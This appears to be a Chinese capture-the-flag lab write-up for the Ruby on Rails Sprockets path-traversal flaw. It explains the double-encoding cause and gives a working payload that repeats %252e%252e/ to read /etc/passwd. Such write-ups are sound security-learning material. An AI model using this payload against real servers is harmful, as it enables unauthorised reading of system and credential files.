这里用的是墨者靶场的环境
1.打开环境可以看到出现这样的网页
下面给出了提示,这里的漏洞是Ruby的任意文件读取的漏洞
漏洞原理
Ruby On Rails在开发环境中使用了Sprockets作为静态服务器,然而Sprockets存在一处因为二次编码而导致的文件路径穿梭,造成任意文件读取的漏洞,根本原理就是不断运用../../../返回到根目录,在利用时,需对其进行二次编码即利用%252e%252e/不断返回上级目录(该漏洞已在3.7.1版本修复)
漏洞复现
首先,先用/assets/file:%2f%2f/etc/passwd对文件目录进行试探,发现报错
根据文件路径进行构造payload
/assets/file:%2f%2f/user/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
出现key,漏洞利用成功